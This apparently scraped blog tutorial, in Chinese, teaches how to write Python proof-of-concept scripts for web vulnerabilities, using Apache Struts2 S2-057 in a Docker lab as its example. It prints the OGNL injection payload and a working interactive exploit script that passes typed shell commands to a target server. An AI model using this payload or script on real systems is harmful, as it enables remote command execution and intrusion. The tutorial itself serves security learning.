<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
PoC(全稱: Proof of Concept), 中文譯作概念驗證。在安全界,你可以理解成為漏洞驗證程式。和一些應用程式相比,PoC 是一段不完整的程式,僅僅是為了證明提出者的觀點的一段程式碼。
Exp(全稱: Exploit),中文叫**漏洞利用程式,**就是一段可以發揮漏洞價值的程式。想象一下這樣的場景,目標存在一個 SQL 注入漏洞,然後被你知道了,然後你編寫了一個程式,通過這個 SQL 注入漏洞,拿到了目標的許可權,那麼這個程式就是所謂的 Exp 了,當然,如果你沒有使用這個漏洞,它就這麼放著,那麼這個漏洞,對你來說可以認為是沒有價值的。
1. 寫 PoC 要會 Python?PoC 的存在,只有一個目的:證明漏洞存在。而關於 PoC 的形式,或者說程式碼實現方式,你喜歡用什麼語言,就用什麼語言。推薦Python語言書寫,因為Python書寫簡單,易讀懂。
2. PoC 就是 Exp?其實嚴格來講,PoC 和 Exp 是兩個東西。PoC 就是用來證明漏洞存在的,而 Exp 是用來利用這個漏洞進一步進行攻擊,在很多情況下,知道了漏洞存在,卻不知道具體怎麼利用,編寫一個 PoC 非常簡單,而編寫一個 Exp 是有一定難度的。
舉個栗子:
Poc好比你家門鎖存在問題,別人知道,但不搞破壞;而Exp就是知道你家門鎖有問題,通過進一步利用,進你家進行盜竊等違法行為。
對於一個已知公開的漏洞,編寫流程大致分為以下幾個步驟:
檢視漏洞詳情,確定影響範圍。獲取一個漏洞的詳細情況後,可以通過官網下載受影響版本,或者在github上查詢已有的docker檔案。
搭建漏洞環境 通過虛擬機器器、docker、phpstudy搭建漏洞環境,有條件的同學可以在雲端搭建,(這裡推薦使用docker進行搭建,搭建環境中會出現一些錯誤,浪費不必要的時間,而已有的docker是大佬們對漏洞進行復現後寫出來的docker檔案)。
復現漏洞 根據漏洞詳情,跟著走一遍流程,檢測漏洞是否存在,其中要尤其注意些引數、命令、函數及對應的提交方法,大概瞭解漏洞的原理、利用過程、判斷漏洞是否存在的地方。
書寫Poc 在漏洞復現完成後,開始著手寫Poc,以可以先寫一個簡單的請求,檢查漏洞是否存在,然後可以將頁面的請求通過正則或者lxml進行過濾得到想要的結果。
測試Poc 通過搭建的環境對書寫的Poc進行測試,在書寫的時候驗證漏洞存在後,每次進行修改都要進行測試,最終達到想要的效果。
urllib
提供的一個用於操作URL的模組,爬取網頁的時候,經常需要用到這個庫。
urllib.request —— 開啟和讀取url urllib.error —— 包含 urllib.request 丟擲的異常。 urllib.parse —— 解析 URL。
requests
實現的簡單易用的HTTP庫,比urllib更加簡潔
requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10) url —— 請求的url headers —— 請求時構造的請求頭 data —— 請求時帶入的資料 verify —— 取消https告警 proxies —— 代理設定 timeout —— 請求響應超時處理
re
正規表示式模組,使用簡潔的字元表示式,匹配字串中想要的結果
使用的正則語法,建議將請求原始碼複製到線上正則匹配網站,進行正則語法構造。
正則線上測試:https://www.jb51.net/tools/zhengze.htm
json
將Python資料處理成json格式或者將json資料處理成Python資料格式
兩種方法 json.dumps 將 Python 物件編碼成 JSON 字串 json.loads 將已編碼的 JSON 字串解碼為 Python 物件
lxml
XML和HTML的解析器,其主要功能是解析和提取XML和HTML中的資料,也可以定位特定元素及節點的資訊
lxml 定位元素節點涉及到Xpath語法 from lxml import etree html = etree.HTML(response.text) result = html.xpath('xpath語句') print(result)
optparse
命令列引數模組,在Poc中經常看到一些引數 -h(--hlep)、-u(--url)等引數,就是使用的此模組
parser = optparse.OptionParser() # 匯入OptionParser物件後才可以使用add_option parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter User Name!!') # 新增需要的引數和內容 parse.set_defaults(v=1.2) #也可以這樣設定預設值 options,args=parse.parse_args()
base64
對字串進行base64加密解密模組
base64.b64encode() —— 編碼函數 base64.b64decode() —— 解碼函數
multiprocessing
多程序,在處理一些資料量較大的請求時可以使用多程序來較少處理時間。(Pyhton的多執行緒是假的並不是並行而是串發的)
from multiprocessing import Process def Poc(): xxxx .... if __name == '__main__': for i in rangge(5): thread = Process(target=Poc,args=str(i)) thread.start() Thread.join()
import requests import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def Poc(url): target_url = url + 'payload' #驗證存在漏洞的url # 代理池設定 proxy = { 'http':'127.0.0.1:812', 'http':'127.0.0.1:8123' } # 請求頭部分構造 headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36', #模擬瀏覽器請求 'cookie':'xxxxxxxxxxxxxx', #有些請求需要帶上cookie才可以請求到想要的內容 'Connection':'close' #關閉多餘的連線請求 } data = {'name':'xxxx','value':'xxxx'} #向url中帶入請求的資料 # 使用try except對異常進行處理 try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) #取消SSL驗證告警 response = requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10) #請求漏洞的url if response.status_code == 200: result = re.search(r'_____',response.text,re.I) #使用正則匹配頁面請求,下劃線處填寫正則規則 print('正在獲取結果:{}'.format(result.group(1))) else: print('請求失敗:{}'.format(response.status_code)) except Exception as e: print('請求失敗: {}'.format(e)) if __name__ == '__main__': url = str(input('請輸入檢測的url:')) Poc(url)
這裡使用Struts2 s2-057漏洞進行測試 漏洞部署使用docker,
原始碼下載連線:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
啟動環境:docker-compose up -d
存取:http://192.168.11.124:8080/struts2-showcase/
首先復現漏洞,瞭解漏洞復現每一步。
進行poc編寫測試:驗證漏洞是否存在 :
Poc:/struts2-showcase/$%7B233*233%7D/actionChain1.action
http://192.168.11.124:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
存取連線後,連線中的$%7B233*233%7D
被解析成了 54289(233*233),說明存在漏洞。
隨後可以根據已有的漏洞Poc(exp),再次進行驗證。
注:此處的poc需要進行url編碼。
Poc(exp):${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
漏洞復現基本完成,現在進行Poc編寫。
import requests import sys def title(): print('+------------------------------------------') print('Version:Struts S2-057 ') print('author:Tackrio ') print('use:exploit.py url ') print('+------------------------------------------') def Poc(url): try: while True: cmd = input('$') payload_command = '/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action' payload_test = '/struts2-showcase/$%7B1+1%7D/actionChain1.action' response_test = requests.get(url=url + payload_test,allow_redirects=False,verify=False,timeout=6) content = response_test.headers.get('Location').split('/')[2] if cmd == 'exit': exit() if response_test.status_code == 302 and content == '2': url1 = url + payload_command response = requests.get(url=url1,allow_redirects=False,verify=False,timeout=6) print(response.headers.get('Location').split('/')[2]) except requests.ConnectionError as error: print("請求出錯:",error) if __name__ == "__main__": title() args = sys.argv[1] Poc(url=args)
以上就是從入門到實戰Python漏洞驗證程式Poc利用的詳細內容,更多關於Python漏洞驗證程式Poc利用的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45